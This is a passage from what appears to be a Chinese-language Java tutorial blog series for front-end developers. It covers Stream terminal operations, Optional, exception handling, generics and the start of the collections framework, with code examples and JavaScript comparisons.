    .limit(5)           // 取 5 个
    .toList();          // [11, 12, 13, 14, 15]

对应 JS：arr.slice(10, 15)。

peek：窥视（调试用）

users.stream()
    .filter(u -> u.getAge() >= 18)
    .peek(u -> System.out.println("过滤后：" + u))    // 观察每一步
    .map(User::getName)
    .peek(name -> System.out.println("映射后：" + name))
    .toList();

peek 主要用于调试，不要在里面做业务逻辑（可能不执行，因为惰性优化）。

终止操作

终止操作触发整个流水线执行，返回非 Stream 的结果。执行后 Stream 就不能再用了。

forEach / forEachOrdered

users.stream().forEach(u -> System.out.println(u));
users.stream().forEach(System.out::println);

// 并行流保证顺序用 forEachOrdered
users.parallelStream().forEachOrdered(System.out::println);

collect：收集为集合

最常用的终止操作，配合 Collectors：

import static java.util.stream.Collectors.*;

// 收集为 List（JDK 16+ 有 .toList() 更简洁）
List<String> list = users.stream().map(User::getName).collect(toList());
List<String> list2 = users.stream().map(User::getName).toList();

// 收集为 Set（自动去重）
Set<String> set = users.stream().map(User::getName).collect(toSet());

// 收集为不可变 List
List<String> immutable = users.stream().map(User::getName).collect(toUnmodifiableList());

// 收集为 Map
Map<Long, User> byId = users.stream()
    .collect(toMap(User::getId, u -> u));
    // 或 toMap(User::getId, Function.identity())

// key 冲突时合并
Map<String, Integer> merged = users.stream()
    .collect(toMap(User::getName, User::getAge, (a, b) -> a));

// 拼接字符串
String names = users.stream()
    .map(User::getName)
    .collect(joining(", "));                        // "Tom, Jerry, Spike"

String bracketed = users.stream()
    .map(User::getName)
    .collect(joining(", ", "[", "]"));              // "[Tom, Jerry, Spike]"

groupingBy：分组

Stream 里的杀手级操作，等价于 SQL 的 GROUP BY：

// 按分类分组：Map<Category, List<Product>>
Map<String, List<Product>> byCategory = products.stream()
    .collect(groupingBy(Product::getCategory));

// 分组后计数：Map<Category, Long>
Map<String, Long> countByCategory = products.stream()
    .collect(groupingBy(Product::getCategory, counting()));

// 分组后求和：Map<Category, Double>
Map<String, Double> sumByCategory = products.stream()
    .collect(groupingBy(Product::getCategory, summingDouble(Product::getPrice)));

// 分组后取某字段：Map<Category, List<String>>
Map<String, List<String>> namesByCategory = products.stream()
    .collect(groupingBy(Product::getCategory,
                        mapping(Product::getName, toList())));

// 多级分组
Map<String, Map<String, List<Product>>> nested = products.stream()
    .collect(groupingBy(Product::getCategory,
                        groupingBy(Product::getBrand)));

// 分区（true/false 两组）
Map<Boolean, List<User>> partition = users.stream()
    .collect(partitioningBy(u -> u.getAge() >= 18));

reduce：聚合

把流中的元素合并成一个值，跟 JS 的 reduce 一样：

// 求和
int sum = nums.stream().reduce(0, (a, b) -> a + b);
int sum2 = nums.stream().reduce(0, Integer::sum);

// 求最大值
Optional<Integer> max = nums.stream().reduce(Integer::max);

// 拼接字符串
String concat = words.stream().reduce("", (a, b) -> a + b);

更推荐用 mapToInt/mapToDouble + sum/average/max（性能更好）：

int sum = nums.stream().mapToInt(Integer::intValue).sum();
double avg = users.stream().mapToInt(User::getAge).average().orElse(0);
int max = users.stream().mapToInt(User::getAge).max().orElse(0);
long total = users.stream().count();

匹配与查找

// anyMatch：至少一个满足
boolean anyAdult = users.stream().anyMatch(u -> u.getAge() >= 18);

// allMatch：全部满足
boolean allAdults = users.stream().allMatch(u -> u.getAge() >= 18);

// noneMatch：没有一个满足
boolean noAdult = users.stream().noneMatch(u -> u.getAge() >= 18);

// findFirst：第一个（有序流保证第一个）
Optional<User> first = users.stream().findFirst();

// findAny：任意一个（并行流更快）
Optional<User> any = users.parallelStream().findAny();

对应 JS：arr.some、arr.every、arr.find。

Optional：优雅处理 null

Optional<T> 是一个"可能存在也可能不存在的值"的容器，避免 NullPointerException：

import java.util.Optional;

// 创建
Optional<String> present = Optional.of("hello");      // 值不能为 null
Optional<String> empty = Optional.empty();
Optional<String> nullable = Optional.ofNullable(null); // 值可以为 null

// 检查
present.isPresent();          // true
present.isEmpty();            // false（JDK 11+）

// 取值
String value = present.get();                            // 直接取，空则抛异常
String orElse = empty.orElse("default");                 // 空则返回默认值
String orElseGet = empty.orElseGet(() -> compute());     // 空则计算默认值（惰性）
String orElseThrow = empty.orElseThrow(() -> new RuntimeException("没找到"));

// 转换
Optional<Integer> length = present.map(String::length);
Optional<Integer> flat = present.flatMap(s -> Optional.of(s.length()));

// 消费
present.ifPresent(s -> System.out.println(s));
present.ifPresentOrElse(
    s -> System.out.println("有值：" + s),
    () -> System.out.println("没值")
);

// 过滤
Optional<String> filtered = present.filter(s -> s.length() > 3);

// 转 Stream
Stream<String> stream = present.stream();

Optional 使用建议：

✅ 方法返回类型，表示"可能没有结果"
❌ 不要用作类字段（不能序列化）
❌ 不要用作方法参数（增加复杂度）
❌ 不要用作集合元素（List<Optional<T>> 是反模式）

对比 JS：

// JS 可选链
const name = user?.profile?.name ?? 'Anonymous';

// Java Optional
String name = Optional.ofNullable(user)
    .map(User::getProfile)
    .map(Profile::getName)
    .orElse("Anonymous");

并行流

parallelStream() 让 Stream 自动多线程执行，充分利用多核 CPU：

// 串行
long count = hugeList.stream().filter(this::expensiveCheck).count();

// 并行
long count = hugeList.parallelStream().filter(this::expensiveCheck).count();

注意事项：

不是万能的：小数据集反而更慢（线程调度开销）
底层用 ForkJoinPool.commonPool()：默认线程数 = CPU 核心数 - 1，多个并行流共享同一个池
操作必须无状态：不能用 peek 修改外部变量，不能保证顺序
数据源要易分割：ArrayList、数组好；LinkedList、Iterator 差
不要在并行流里做阻塞 IO：会占满公共池影响其他任务

判断该不该用并行流：数据量大（>10000）+ 单元素处理耗时（>计算成本）+ 数据源易分割 → 可以试试。

综合小例子：订单数据分析

用 Stream 完成一个类似 JS Array.prototype.* 链式调用的分析：

package com.example.shop;

import java.util.*;
import java.util.stream.*;
import static java.util.stream.Collectors.*;

public record Order(
    String id,
    String userId,
    String category,
    List<String> items,
    double amount,
    boolean paid
) {}

public class OrderAnalytics {
    private final List<Order> orders;

    public OrderAnalytics(List<Order> orders) {
        this.orders = orders;
    }

    /** 已支付的订单总金额 */
    public double totalRevenue() {
        return orders.stream()
            .filter(Order::paid)
            .mapToDouble(Order::amount)
            .sum();
    }

    /** 每个分类的订单数（降序） */
    public Map<String, Long> countByCategory() {
        return orders.stream()
            .collect(groupingBy(Order::category, counting()))
            .entrySet().stream()
            .sorted(Map.Entry.<String, Long>comparingByValue().reversed())
            .collect(toMap(
                Map.Entry::getKey,
                Map.Entry::getValue,
                (a, b) -> a,
                LinkedHashMap::new     // 保持排序后的顺序
            ));
    }

    /** 每个用户的消费总额 Top 3 */
    public List<Map.Entry<String, Double>> topUsers(int limit) {
        return orders.stream()
            .filter(Order::paid)
            .collect(groupingBy(Order::userId, summingDouble(Order::amount)))
            .entrySet().stream()
            .sorted(Map.Entry.<String, Double>comparingByValue().reversed())
            .limit(limit)
            .toList();
    }

    /** 所有商品去重后的列表 */
    public List<String> uniqueItems() {
        return orders.stream()
            .flatMap(o -> o.items().stream())
            .distinct()
            .sorted()
            .toList();
    }

    /** 平均订单金额 */
    public double averageOrderValue() {
        return orders.stream()
            .filter(Order::paid)
            .mapToDouble(Order::amount)
            .average()
            .orElse(0);
    }

    /** 按用户分组，每组保留金额最高的订单 */
    public Map<String, Optional<Order>> topOrderByUser() {
        return orders.stream()
            .filter(Order::paid)
            .collect(groupingBy(
                Order::userId,
                maxBy(Comparator.comparingDouble(Order::amount))
            ));
    }

    /** 是否有超过 10000 元的大额订单 */
    public boolean hasLargeOrder() {
        return orders.stream().anyMatch(o -> o.amount() > 10000);
    }
}

对应的 JS 版本大概是这样：

class OrderAnalytics {
    constructor(orders) { this.orders = orders; }

    totalRevenue() {
        return this.orders
            .filter(o => o.paid)
            .reduce((sum, o) => sum + o.amount, 0);
    }

    countByCategory() {
        const map = {};
        this.orders.forEach(o => { map[o.category] = (map[o.category] ?? 0) + 1; });
        return Object.entries(map).sort((a, b) => b[1] - a[1]);
    }

    uniqueItems() {
        return [...new Set(this.orders.flatMap(o => o.items))].sort();
    }
}

Java 版本看起来更"结构化"，JS 版本更"随手"，但表达力是一样的。

复习卡片

// Lambda
Runnable r = () -> System.out.println("hi");
Function<String, Integer> f = s -> s.length();
Predicate<Integer> p = n -> n > 0;
Consumer<String> c = System.out::println;
Supplier<Double> s = Math::random;

// 四大函数式接口
Function<T, R>:  R apply(T)
Predicate<T>:    boolean test(T)
Consumer<T>:     void accept(T)
Supplier<T>:     T get()

// 组合
f1.andThen(f2)   // 先 f1 后 f2
f1.compose(f2)   // 先 f2 后 f1
p1.and(p2) / p1.or(p2) / p1.negate()

// 方法引用
Integer::parseInt        // 静态方法
System.out::println      // 实例方法
String::length           // 任意对象的实例方法
ArrayList::new           // 构造器

// Stream 三段式
list.stream()
    .filter(x -> x > 0)           // 中间：过滤
    .map(x -> x * 2)              // 中间：映射
    .flatMap(Collection::stream)  // 中间：扁平化
    .distinct()                   // 中间：去重
    .sorted(Comparator.reverseOrder())  // 中间：排序
    .limit(10).skip(5)            // 中间：切片
    .peek(System.out::println)    // 中间：窥视
    .collect(Collectors.toList()) // 终止：收集
    // .toList()                  // 终止：JDK 16+ 简写
    // .forEach(...)              // 终止：遍历
    // .count()                   // 终止：计数
    // .reduce(...)               // 终止：聚合
    // .anyMatch/allMatch/noneMatch
    // .findFirst/findAny

// Collectors 常用
toList() / toSet() / toUnmodifiableList()
toMap(k, v) / toMap(k, v, mergeFn)
joining(", ")
groupingBy(classifier)
groupingBy(classifier, counting())
groupingBy(classifier, summingDouble(...))
groupingBy(classifier, mapping(..., toList()))
partitioningBy(predicate)
maxBy(comparator) / minBy(comparator)

// 数字流
IntStream.range(0, 10).sum()
list.stream().mapToInt(X::getValue).average().orElse(0)

// Optional
Optional.of(x) / Optional.empty() / Optional.ofNullable(x)
opt.map(...).filter(...).orElse(default)
opt.ifPresent(...) / opt.ifPresentOrElse(a, b)

// 并行流（谨慎使用）
list.parallelStream()...

记忆要点：

Lambda 只能实现函数式接口（@FunctionalInterface）
四大内置：Function / Predicate / Consumer / Supplier
方法引用 :: 是 Lambda 的语法糖
Lambda 捕获的变量必须 effectively final
Stream 三段式：source → intermediate → terminal
中间操作惰性，只有终止操作触发才执行
Stream 一次性消费，用完就废
分组用 groupingBy，聚合用 mapToInt + sum/average/max
Optional 用于方法返回类型，别用作字段或参数
并行流不是万金油，小数据反而慢

最后一个阶段——多线程入门。前端习惯单线程 + 事件循环，Java 的多线程是完全不同的心智模型，也是最容易出 bug 的地方。

Java 阶段九：异常处理与泛型

Fri, 04 Sep 2026 12:00:00 GMT

异常处理和泛型是 Java 里两个"看着有点吓人、其实规整得可爱"的主题。JS 的 throw/catch 简单直接，Java 多了一层受检异常的强制约束；TS 的泛型跟 Java 的泛型概念相通，但 Java 多了个类型擦除的坑。这一篇一次讲透。

Part 1：异常处理

异常层次结构

Java 里所有可抛出的东西都继承自 Throwable：

Throwable
├── Error                     ← JVM 层面的严重错误，程序员管不了
│     ├── OutOfMemoryError    ← 内存耗尽
│     ├── StackOverflowError  ← 栈溢出（无限递归）
│     └── NoClassDefFoundError
│
└── Exception                 ← 程序可以处理的异常
      ├── RuntimeException    ← 运行时异常（非受检，Unchecked）
      │     ├── NullPointerException       ← 空指针
      │     ├── IndexOutOfBoundsException  ← 索引越界
      │     ├── ArithmeticException        ← 算术异常（除以 0）
      │     ├── ClassCastException         ← 类型转换失败
      │     ├── IllegalArgumentException   ← 参数不合法
      │     ├── IllegalStateException      ← 状态不合法
      │     └── NumberFormatException      ← 字符串转数字失败
      │
      └── 其他 Exception 子类   ← 受检异常（Checked）
            ├── IOException            ← 输入输出错误
            ├── SQLException           ← 数据库错误
            ├── FileNotFoundException  ← 文件找不到
            └── InterruptedException   ← 线程被中断

受检 vs 非受检异常

这是 Java 特有、也是最容易被诟病的设计：

类别	编译器强制处理？	什么时候用	常见例子
受检异常（Checked）	✅ 必须 `try/catch` 或 `throws`	可预见、可恢复的外部错误	`IOException`, `SQLException`
非受检异常（Unchecked / RuntimeException）	❌ 不强制	程序 bug、编程错误	`NullPointerException`, `IllegalArgumentException`
Error	❌ 不强制	JVM 层面严重问题	`OutOfMemoryError`

受检异常的意思：编译器会检查你有没有处理，没处理就不给编译过。这逼着你显式面对可能失败的调用：

// ❌ 编译报错：未处理的 IOException
public void readFile() {
    FileInputStream fis = new FileInputStream("a.txt");
}

// ✅ 方式一：try/catch 处理
public void readFile() {
    try {
        FileInputStream fis = new FileInputStream("a.txt");
    } catch (FileNotFoundException e) {
        System.err.println("文件不存在：" + e.getMessage());
    }
}

// ✅ 方式二：throws 声明抛出，让调用者处理
public void readFile() throws FileNotFoundException {
    FileInputStream fis = new FileInputStream("a.txt");
}

非受检异常通常是程序员的错，编译器不管，但运行时会崩：

String s = null;
s.length();       // 运行时抛 NullPointerException，编译期不报错

[!NOTE] 现代 Java 编程风格越来越倾向多用非受检异常，因为受检异常会让代码到处充斥 try/catch 或 throws，可读性差。Spring、Hibernate 等主流框架都遵循这个原则。

try / catch / finally

基本形式

try {
    // 可能抛异常的代码
    int result = 10 / 0;
} catch (ArithmeticException e) {
    // 处理特定类型异常
    System.err.println("除数不能为 0：" + e.getMessage());
} catch (Exception e) {
    // 兜底
    System.err.println("其他异常：" + e.getMessage());
} finally {
    // 无论是否异常都会执行（通常用于释放资源）
    System.out.println("cleanup");
}

多重 catch 的顺序

子类异常必须写在父类前面，否则编译报错：

try {
    ...
} catch (FileNotFoundException e) {   // IOException 的子类
    ...
} catch (IOException e) {             // 父类
    ...
}
// ❌ 反过来写编译报错：exception IOException has already been caught

多异常合并 catch（JDK 7+）

用 | 一次捕获多种异常：

try {
    ...
} catch (IOException | SQLException e) {
    // 处理两种异常
    e.printStackTrace();
}

限制：合并的异常之间不能有继承关系。

finally 的陷阱

finally 几乎总会执行，除了：

System.exit(0) 被调用
JVM 崩溃
线程被强制杀死

finally 里的 return 会吞掉异常（极其不推荐）：

public int badMethod() {
    try {
        throw new RuntimeException("boom");
    } finally {
        return 42;   // ❌ 异常被吞，方法返回 42
    }
}

finally 里也不要抛新异常，会覆盖 try/catch 里的原始异常，导致排查困难。

try-with-resources（JDK 7+）

自动关闭资源，比手动写 finally { close(); } 优雅太多。任何实现 AutoCloseable 接口的对象都可以放进 try(...)：

// ❌ 传统写法，繁琐且容易漏 close
BufferedReader br = null;
try {
    br = new BufferedReader(new FileReader("a.txt"));
    return br.readLine();
} catch (IOException e) {
    ...
} finally {
    if (br != null) {
        try { br.close(); } catch (IOException e) { ... }
    }
}

// ✅ try-with-resources
try (BufferedReader br = new BufferedReader(new FileReader("a.txt"))) {
    return br.readLine();
} catch (IOException e) {
    ...
}
// 出了 try 块 br 自动关闭，即使抛异常也会关

多资源同时管理（用 ; 分隔，按声明的逆序关闭）：

try (
    InputStream in = new FileInputStream("in.txt");
    OutputStream out = new FileOutputStream("out.txt")
) {
    in.transferTo(out);
} catch (IOException e) {
    e.printStackTrace();
}

JDK 9+ 的语法糖：资源可以在 try 外声明，try 里直接引用：

BufferedReader br = new BufferedReader(new FileReader("a.txt"));
try (br) {           // 直接引用外部变量
    return br.readLine();
}

[!TIP] try-with-resources 是日常处理 IO/数据库/网络资源的首选。所有实现 AutoCloseable 的类都适用：文件流、数据库连接、Statement、ResultSet、Socket、Scanner 等。

throw 与 throws

throw：动作，抛出一个具体的异常实例
throws：声明，方法签名上说明本方法可能抛哪些异常

// throw：抛异常
public void setAge(int age) {
    if (age < 0) {
        throw new IllegalArgumentException("年龄不能为负数：" + age);
    }
    this.age = age;
}

// throws：声明异常
public void readFile(String path) throws IOException {
    BufferedReader br = new BufferedReader(new FileReader(path));
    ...
}

// 两者常常同时出现
public void process(String path) throws IOException {
    if (path == null) {
        throw new IllegalArgumentException("path 不能为 null");   // 非受检，不需要声明
    }
    readFile(path);   // 受检，向上抛
}

自定义异常

业务代码里常常需要抛自己的异常类型，方便上层区分：

// 非受检异常（推荐）：继承 RuntimeException
public class BusinessException extends RuntimeException {
    private final String code;

    public BusinessException(String code, String message) {
        super(message);
        this.code = code;
    }

    public BusinessException(String code, String message, Throwable cause) {
        super(message, cause);
        this.code = code;
    }

    public String getCode() { return code; }
}

// 受检异常：继承 Exception
public class InsufficientBalanceException extends Exception {
    public InsufficientBalanceException(double balance, double amount) {
        super("余额不足：当前 %.2f，需要 %.2f".formatted(balance, amount));
    }
}

// 使用
public void withdraw(double amount) {
    if (amount > balance) {
        throw new BusinessException("INSUFFICIENT_BALANCE", "余额不足");
    }
}

自定义异常的最佳实践：

优先继承 RuntimeException（不强制上层处理）
保留 cause：super(message, cause)，便于异常链追踪
携带业务上下文（错误码、参数）
用异常类名表达含义，不要用 MyException 这种含糊的名字

异常处理最佳实践

1. 只捕获能处理的异常

// ❌ 无脑吞异常
try { ... } catch (Exception e) { /* 什么也不做 */ }

// ✅ 要么处理，要么抛出
try { ... } catch (IOException e) {
    log.error("读取失败", e);
    throw new BusinessException("READ_ERROR", "无法读取配置", e);
}

2. 不要捕获 Throwable 或 Error

OutOfMemoryError、StackOverflowError 这类是 JVM 层面的严重问题，捕获它们通常没有意义，反而掩盖问题。

3. 保留异常链

用带 cause 的构造器，别丢失原始异常：

// ❌ 丢失原始异常
try { ... } catch (IOException e) {
    throw new BusinessException("失败了");
}

// ✅ 保留 cause
try { ... } catch (IOException e) {
    throw new BusinessException("失败了", e);
}

4. 不要用异常做流程控制

抛异常和捕获异常有性能开销（要构造栈帧），不要拿它当 if 用：

// ❌ 反模式
try {
    int n = Integer.parseInt(input);
    return n;
} catch (NumberFormatException e) {
    return 0;
}

// ✅ 直接判断
if (input.matches("\\d+")) {
    return Integer.parseInt(input);
}
return 0;

5. 日志记录用完整的异常对象

log.error("处理失败", e);          // ✅ 打印堆栈
// log.error("处理失败：" + e.getMessage());  // ❌ 丢失堆栈

Part 2：泛型

为什么需要泛型

没有泛型的时代（JDK 5 之前），集合只能存 Object，取出来要强转，运行时才知道对不对：

List list = new ArrayList();
list.add("hello");
list.add(123);            // 编译器不报错

String s = (String) list.get(0);   // ✅
String n = (String) list.get(1);   // ❌ 运行时 ClassCastException

有了泛型，编译期就能查出类型错误：

List<String> list = new ArrayList<>();
list.add("hello");
// list.add(123);         // ❌ 编译报错

String s = list.get(0);   // ✅ 无需强转

对比 TypeScript：

const list: string[] = [];
list.push("hello");
// list.push(123);        // ❌ 类型错误

概念完全一致，Java 的泛型是编译期类型系统的一部分。

泛型类

用类型参数（type parameter）声明可参数化的类：

public class Box<T> {
    private T content;

    public void put(T item) {
        this.content = item;
    }

    public T take() {
        return content;
    }
}

// 使用
Box<String> stringBox = new Box<>();
stringBox.put("hello");
String s = stringBox.take();       // 无需强转

Box<Integer> intBox = new Box<>();
intBox.put(42);
Integer n = intBox.take();

类型参数命名约定：

T：Type
E：Element（集合常用）
K：Key
V：Value
N：Number
S, U, V：多个类型参数时依次用

多类型参数：

public class Pair<K, V> {
    private final K key;
    private final V value;

    public Pair(K key, V value) {
        this.key = key;
        this.value = value;
    }

    public K getKey() { return key; }
    public V getValue() { return value; }
}

Pair<String, Integer> p = new Pair<>("age", 25);

Java 标准库里的泛型类：List<E>、Map<K, V>、Optional<T>、CompletableFuture<T> 全是。

泛型接口

跟泛型类一样：

public interface Comparable<T> {
    int compareTo(T other);
}

public class Student implements Comparable<Student> {
    private int score;

    @Override
    public int compareTo(Student other) {
        return Integer.compare(this.score, other.score);
    }
}

泛型方法

方法级别的泛型，类型参数写在返回类型前面：

public class Utils {
    // 泛型方法：接受任意类型的 List，返回同类型的第一个元素
    public static <T> T first(List<T> list) {
        return list.isEmpty() ? null : list.get(0);
    }

    // 多类型参数
    public static <K, V> Map<V, K> invert(Map<K, V> map) {
        Map<V, K> result = new HashMap<>();
        for (Map.Entry<K, V> e : map.entrySet()) {
            result.put(e.getValue(), e.getKey());
        }
        return result;
    }

    // 类型参数带边界（bounded）
    public static <T extends Comparable<T>> T max(T a, T b) {
        return a.compareTo(b) >= 0 ? a : b;
    }

    // 多边界（用 &）
    public static <T extends Number & Comparable<T>> T maxNum(T a, T b) {
        return a.compareTo(b) >= 0 ? a : b;
    }
}

// 使用（编译器通常能推断，也可以显式指定）
List<String> names = List.of("a", "b");
String first = Utils.first(names);              // 推断为 String
String first2 = Utils.<String>first(names);     // 显式

Utils.max(3, 5);                                // int
Utils.max("a", "b");                            // String

类型擦除：Java 泛型的最大坑

Java 的泛型是编译期的机制，运行时所有泛型信息都被擦除（type erasure）：

List<String> strings = new ArrayList<>();
List<Integer> ints = new ArrayList<>();

// 运行时它们是同一个类
System.out.println(strings.getClass() == ints.getClass());
// true，都是 java.util.ArrayList

// 擦除后 List<String> 变成 List，T 变成 Object（或边界类型）

类型擦除带来的限制：

// ❌ 不能用泛型类型做 instanceof
if (list instanceof List<String>) { ... }       // 编译报错
if (list instanceof List<?>) { ... }            // ✅

// ❌ 不能 new 泛型数组
List<String>[] arr = new List<String>[10];      // 编译报错
List<?>[] arr = new List<?>[10];                // ✅

// ❌ 不能 new 类型参数
public <T> T create() {
    return new T();                              // 编译报错
}
// 变通：传 Class<T>
public <T> T create(Class<T> clazz) throws Exception {
    return clazz.getDeclaredConstructor().newInstance();
}

// ❌ 静态字段/方法不能用类的类型参数
public class Box<T> {
    // static T item;              // 编译报错
    static <T> void method() {}    // ✅ 但方法可以有自己的类型参数
}

// ❌ 不能对基本类型使用泛型
List<int> nums;                    // 编译报错
List<Integer> nums;                // ✅ 用包装类

通配符 ?

通配符表示"未知类型"，主要用于方法参数，让方法更灵活：

// ❌ List<Integer> 不是 List<Number> 的子类！
public void print(List<Number> list) { ... }
List<Integer> ints = List.of(1, 2, 3);
// print(ints);   // 编译报错

// ✅ 用通配符
public void print(List<?> list) {
    for (Object o : list) System.out.println(o);
}
print(ints);      // ✅
print(List.of("a", "b"));   // ✅

? extends T：上界通配符

表示"T 或 T 的子类"，只读（生产者 Producer）：

public double sum(List<? extends Number> list) {
    double total = 0;
    for (Number n : list) total += n.doubleValue();
    // list.add(1);      // ❌ 不能添加（除了 null）
    return total;
}

sum(List.of(1, 2, 3));            // List<Integer>
sum(List.of(1.5, 2.5));           // List<Double>

为什么不能添加：编译器不知道 list 具体是 List<Integer> 还是 List<Double>，往里加什么都不安全。

? super T：下界通配符

表示"T 或 T 的父类"，只写（消费者 Consumer）：

public void addNumbers(List<? super Integer> list) {
    list.add(1);              // ✅ 可以加 Integer
    list.add(2);
    // Integer n = list.get(0);  // ❌ 取出只能是 Object
}

List<Number> nums = new ArrayList<>();
addNumbers(nums);
List<Object> objs = new ArrayList<>();
addNumbers(objs);

PECS 原则

Producer Extends, Consumer Super：

如果集合是生产者（你要从中读取数据），用 <? extends T>
如果集合是消费者（你要往里写入数据），用 <? super T>
既要读又要写，就用精确类型 <T>

Java 标准库里的例子：

// Collections.copy：dest 是消费者，src 是生产者
public static <T> void copy(List<? super T> dest, List<? extends T> src)

// Collections.addAll：collection 是消费者
public static <T> boolean addAll(Collection<? super T> c, T... elements)

泛型的类型边界

用 extends 限定类型参数的范围（不管是类还是接口都用 extends）：

// T 必须是 Number 或其子类
public class NumberBox<T extends Number> {
    private T value;
    public double doubleValue() { return value.doubleValue(); }
}

NumberBox<Integer> intBox = new NumberBox<>();     // ✅
// NumberBox<String> strBox = new NumberBox<>();   // ❌ String 不是 Number

// 多边界：T 必须同时满足
public <T extends Comparable<T> & Serializable> void sort(T[] arr) { ... }

综合小例子：类型安全的结果封装

用泛型和异常写一个业务里常见的 Result 类型：

package com.example.common;

import java.util.function.Function;

public class Result<T> {
    private final T data;
    private final String errorCode;
    private final String errorMessage;

    private Result(T data, String errorCode, String errorMessage) {
        this.data = data;
        this.errorCode = errorCode;
        this.errorMessage = errorMessage;
    }

    public static <T> Result<T> success(T data) {
        return new Result<>(data, null, null);
    }

    public static <T> Result<T> failure(String code, String message) {
        return new Result<>(null, code, message);
    }

    public boolean isSuccess() { return errorCode == null; }

    public T getData() {
        if (!isSuccess()) {
            throw new IllegalStateException("结果失败，无数据：" + errorMessage);
        }
        return data;
    }

    public String getErrorCode() { return errorCode; }
    public String getErrorMessage() { return errorMessage; }

    // map：转换成功值
    public <R> Result<R> map(Function<T, R> mapper) {
        if (isSuccess()) {
            try {
                return Result.success(mapper.apply(data));
            } catch (Exception e) {
                return Result.failure("MAP_ERROR", e.getMessage());
            }
        }
        @SuppressWarnings("unchecked")
        Result<R> failed = (Result<R>) this;
        return failed;
    }

    // orElse：失败时提供默认值
    public T orElse(T fallback) {
        return isSuccess() ? data : fallback;
    }

    @Override
    public String toString() {
        return isSuccess()
            ? "Result.success(" + data + ")"
            : "Result.failure(" + errorCode + ", " + errorMessage + ")";
    }
}

使用：

public Result<User> findUser(Long id) {
    if (id == null) {
        return Result.failure("INVALID_ID", "id 不能为 null");
    }
    User user = userDao.findById(id);
    if (user == null) {
        return Result.failure("NOT_FOUND", "用户不存在");
    }
    return Result.success(user);
}

// 链式转换
Result<String> nameResult = findUser(1L)
    .map(User::getName)
    .map(String::toUpperCase);

String name = nameResult.orElse("Anonymous");

这个 Result 类同时体现了：

泛型：Result<T> 可以承载任何类型
静态工厂方法：success/failure
异常：getData 在失败时抛 IllegalStateException
函数式接口：map 接受 Function<T, R>
PECS 原则：Function<T, R> 中 T 是生产者（读），R 是消费者（写）

复习卡片

// ===== 异常 =====
// 层次：Throwable → Error / Exception
// Exception → RuntimeException（非受检）+ 其他（受检）

// try/catch/finally
try { ... }
catch (IOException | SQLException e) { ... }   // 多异常合并（JDK 7+）
catch (Exception e) { ... }
finally { ... }

// try-with-resources（推荐）
try (BufferedReader br = new BufferedReader(new FileReader("a.txt"))) {
    return br.readLine();
}

// 抛异常
throw new IllegalArgumentException("参数错误");
public void m() throws IOException { ... }

// 自定义异常
public class BusinessException extends RuntimeException {
    public BusinessException(String msg, Throwable cause) { super(msg, cause); }
}

// ===== 泛型 =====
// 泛型类
public class Box<T> {
    private T content;
    public void put(T item) { content = item; }
    public T take() { return content; }
}

// 泛型方法
public static <T> T first(List<T> list) { return list.get(0); }
public static <T extends Comparable<T>> T max(T a, T b) { ... }

// 通配符（PECS）
List<? extends Number> producer;   // 只读
List<? super Integer> consumer;    // 只写
List<?> anything;                  // 只能读作 Object

// 类型擦除的限制
// ❌ new T()、T.class、new T[]、instanceof List<String>、静态字段用 T

记忆要点：

受检异常编译器强制处理，非受检（RuntimeException）不强制
优先用非受检异常，业务错误抛 BusinessException 之类
处理 IO/数据库资源永远用 try-with-resources
捕获异常要保留 cause（super(msg, cause)），不要吞异常
不要用异常做流程控制
泛型是编译期机制，运行时被擦除
泛型不能用基本类型（List<int> ❌，List<Integer> ✅）
通配符 PECS：Producer Extends, Consumer Super
<T extends Number> 限定类型边界，<T extends A & B> 多边界

下一阶段进入现代 Java 最好用的部分——Lambda 和 Stream API，前端工程师上手最快的地方。

Java 阶段八：集合框架 List / Set / Map

Fri, 04 Sep 2026 06:00:00 GMT

日常业务代码里 80% 的时间都在跟集合打交道。Java 的集合框架比 JS 的 Array + Object + Map + Set 要复杂得多，但也更有条理。这一篇把整个框架的骨架讲清楚，配上常用操作的速查表。

集合框架全景

Java 集合分两大分支：Collection（单元素集合）和 Map（键值对）：

Iterable
  └── Collection
        ├── List（有序、可重复）
        │     ├── ArrayList     ← 90% 场景用它
        │     ├── LinkedList
        │     └── Vector（古老，别用）
        │
        ├── Set（不重复）
        │     ├── HashSet       ← 最常用
        │     ├── LinkedHashSet（保持插入顺序）
        │     └── TreeSet（排序）
        │
        └── Queue / Deque（队列）
              ├── ArrayDeque    ← 栈和队列都用它
              ├── PriorityQueue（优先队列）
              └── LinkedList（也实现了 Deque）

Map（键值对，不属于 Collection）
  ├── HashMap         ← 90% 场景用它
  ├── LinkedHashMap（保持插入顺序 / 访问顺序）
  ├── TreeMap（按 key 排序）
  ├── Hashtable（古老，别用）
  └── ConcurrentHashMap（线程安全，阶段十一讲）

选型口诀：

需要有序可重复 → ArrayList
需要不重复 → HashSet
需要按 key 查找 → HashMap
需要保持插入顺序 → LinkedHashSet / LinkedHashMap
需要排序 → TreeSet / TreeMap
需要队列/栈 → ArrayDeque

List：有序可重复

ArrayList

动态数组，最常用。内部是一个可变长度的数组，随机访问 O(1)，中间插入删除 O(n)。

import java.util.ArrayList;
import java.util.List;

// 创建
List<String> list = new ArrayList<>();          // 空列表
List<String> withInit = new ArrayList<>(List.of("a", "b", "c"));
List<String> immutable = List.of("a", "b", "c"); // JDK 9+，不可变

// 添加
list.add("apple");                  // 尾部添加
list.add(0, "banana");              // 指定位置插入
list.addAll(List.of("x", "y"));     // 批量添加

// 访问
list.get(0);                        // "banana"
list.set(0, "cherry");              // 修改索引 0
list.indexOf("apple");              // 查找位置
list.contains("apple");             // 是否包含
list.size();                        // 长度
list.isEmpty();                     // 是否为空

// 删除
list.remove(0);                     // 按索引删
list.remove("apple");               // 按内容删（第一个匹配）
list.removeAll(List.of("x", "y"));  // 批量删
list.clear();                       // 清空

// 遍历
for (String s : list) System.out.println(s);
list.forEach(s -> System.out.println(s));
for (int i = 0; i < list.size(); i++) {
    System.out.println(list.get(i));
}

[!WARNING] List.of() 创建的列表是不可变的，调用 add/remove 会抛 UnsupportedOperationException：
List<String> fixed = List.of("a", "b");
fixed.add("c");   // ❌ 抛异常

// 想要可变的副本
List<String> mutable = new ArrayList<>(fixed);

LinkedList

双向链表，头部/尾部插入删除 O(1)，随机访问 O(n)。日常几乎不用，除非明确知道要频繁在头尾操作（这种情况 ArrayDeque 通常更快）。

List<String> linked = new LinkedList<>();
linked.addFirst("a");     // LinkedList 特有
linked.addLast("z");
linked.removeFirst();
linked.removeLast();

ArrayList vs LinkedList 选型

操作	ArrayList	LinkedList
随机访问 `get(i)`	O(1) ✅	O(n)
